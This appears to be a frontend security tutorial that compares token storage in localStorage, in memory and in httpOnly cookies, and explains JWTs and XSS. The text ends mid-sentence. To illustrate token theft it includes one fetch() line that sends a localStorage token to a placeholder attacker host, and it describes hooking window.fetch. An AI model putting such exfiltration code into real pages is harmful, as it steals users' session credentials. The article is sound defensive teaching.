What's the best way to do authentication in modern applications

Ask ten frontend developers where to store a login token, and you’ll get four answers and an argument. This article explores the best ways to handle authentication and token storage securely.
Ask ten frontend developers where to store a login token, and you’ll get four answers and an argument.
And because each approach addresses different concerns, the debates continue without resolution.
So let’s clarify once and for all: What are the options to store a token, which are the most secure and what are the use cases.
I go much deeper on XSS and CSRF in my FREE frontend security course, but I wanted to tackle auth on its own.
The basics
I’ve written this, you might have too. Every “build a full-stack app in an afternoon” article and tutorial has written this.
The user submits a login form; the server checks the password and returns a token. You put it in localStorage and attach it to every request from then on:
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
localStorage.setItem('token', token);
}
async function fetchProfile() {
const res = await fetch('/api/me', {
headers: {
Authorization: `Bearer ${localStorage.getItem('token')}`,
},
});
return res.json();
}
That token is almost always a JWT.
A JWT (JSON Web Token) is a string in three parts, separated by dots: a header, a payload, and a signature. The payload contains facts about the user, such as their ID and maybe their role.
The signature is a stamp that proves your server produced this exact payload and that no one tampered with it.
The trick that made JWTs popular is what the server does when it receives the token. It re-computes the stamp, checks it matches, and then trusts the payload without looking anything up.
The user’s ID is inside the token, cryptographically vouched for, so there’s no database row to read to get the userID or to verify the user.
People call this “stateless”.
And to be fair to the tutorials, this works.
It survives refreshes because localStorage persists, and it sidesteps every cookie headache.
The Authorization: Bearer
header also travels across domains cleanly, so an app on one domain can call an API on another without much thought.
JWT works, but the code we wrote has exactly one problem: where we stored the JWT.
What XSS does to that token
localStorage has one defining trait: any JavaScript on your page can read all of it.
Whose JavaScript runs on your page?
Yours, sure. But also every npm package you installed, and every package those packages pulled in. Your analytics snippet. Your support chat widget. Anything a browser extension decides to inject.
And, the day it happens, an attacker’s.
That last one is XSS. Cross-site scripting means an attacker has gotten their code to run on your page. Usually through something dull: a comment field that renders user text as HTML without escaping it, a URL parameter reflected straight into the DOM, or a dependency that shipped malicious code in a patch release.
When that happens, the token is one line from gone:
fetch('https://attacker.example/collect', {
method: 'POST',
body: localStorage.getItem('token'),
});
The attacker now has your bearer token, and “bearer” is literal (It does not come from the show The Bear): whoever bears it is you. The server checks the stamp, sees a valid payload, and says hello.
They no longer need your browser. They don’t need your tab open. They paste that string into a script on their own machine, and your API treats them as you, from anywhere on earth, until the token expires (mostly).
If you signed that token with a 7-day expiry, as plenty of tutorials do, that’s a 7-day skeleton key.
You can’t cancel it, because the whole point of “stateless” was that the server checks nothing.
Everything the attacker does next happens on their infrastructure, on their schedule, completely invisible to you.
”If they can run JS, you’re already dead”
A common saying is that if an attacker can run JavaScript on your page, they can already do anything.
Read everything on screen, fire requests from the user’s browser, ride whatever credentials the browser attaches. Hiding the token changes nothing.
The first half is true. Protecting the token does not stop XSS. Anyone who tells you an HTTP-only cookie “prevents XSS” is confused or selling something.
But look at what the attacker is limited to in each case, because they are not the same case.
If the attacker can read the token, they take it home. The attack keeps working after the tab closes, from their own machine, at their own pace, for the full lifetime of the token.
If the attacker cannot read the token, they can only ride the live session.
Their script fires requests from inside the victim’s browser while that tab is open, and every one of those requests lands on your server, where your rate limits, logging, and fraud checks live.
One is a stolen key. The other is a burglar who can only act while standing inside your house, in front of your cameras, and only until the owner walks out.
You’d obviously rather have neither, but XSS bugs ship eventually.
The realistic goal is to reduce how often XSS bugs ship and to shrink what they can do when it happens.
Security folks call it reducing the blast radius, so let’s set our goal: get the token to a location where JavaScript can’t read it.
Attempt two: hold it in memory
First instinct: skip storage entirely, keep the token in a plain variable.
let accessToken: string | null = null;
async function login(email: string, password: string) {
const res = await fetch('/api/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
accessToken = token; // lives in memory, never written to disk
}
A plain variable like that (it lives in the module’s scope, not on any object an attacker can list) is meaningfully harder to grab than localStorage. LocalStorage is a public bulletin board that an attacker can enumerate key by key.
A loose variable is at least something they have to know exists and can name.
Harder, though, isn’t safe. The attacker’s code runs in the same JavaScript world as yours.
It can replace window.fetch
with its own version, wait for your app to attach the Authorization
header, and copy the token as it flies past.
And you paid a steep price for that narrowing. If your user refreshes the page, and the JavaScript world is rebuilt from nothing.
Your variable is gone and the user is logged out.
Open a second tab, and it has its own memory, its own empty accessToken
, and no idea the first tab exists. Logged out there too.
Nobody ships an app that logs you out on every refresh, so what you can add is to use a second, longer-lived credential whose only job is to silently mint new access tokens.
It’s called a refresh token. But then where does the refresh token live?
Put it in localStorage, and we’re back to square one. The attacker grabs the refresh token instead and mints fresh access tokens forever.
We walked in a circle.
JavaScript-reachable storage cannot safely hold a long-lived credential.
We need a spot in the browser that JavaScript flat-out cannot reach.
Attempt three: the httpOnly cookie
Cookies have a bad reputation, mostly because the only time normies meet them is in a consent banner. Underneath the banner nonsense, a cookie is a small value the server asks the browser to store and then automatically attaches to every request sent back to that server.
The server sets one with a response header, and we can protect it with a couple of extra flags:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/
Each flag tightens security.
HttpOnly
tells the browser: never hand this cookie to JavaScript. document.cookie
won’t show it. No script can read it, including the attacker’s script mid-XSS. The browser attaches it to outgoing requests, and that is the
Source: Hacker News















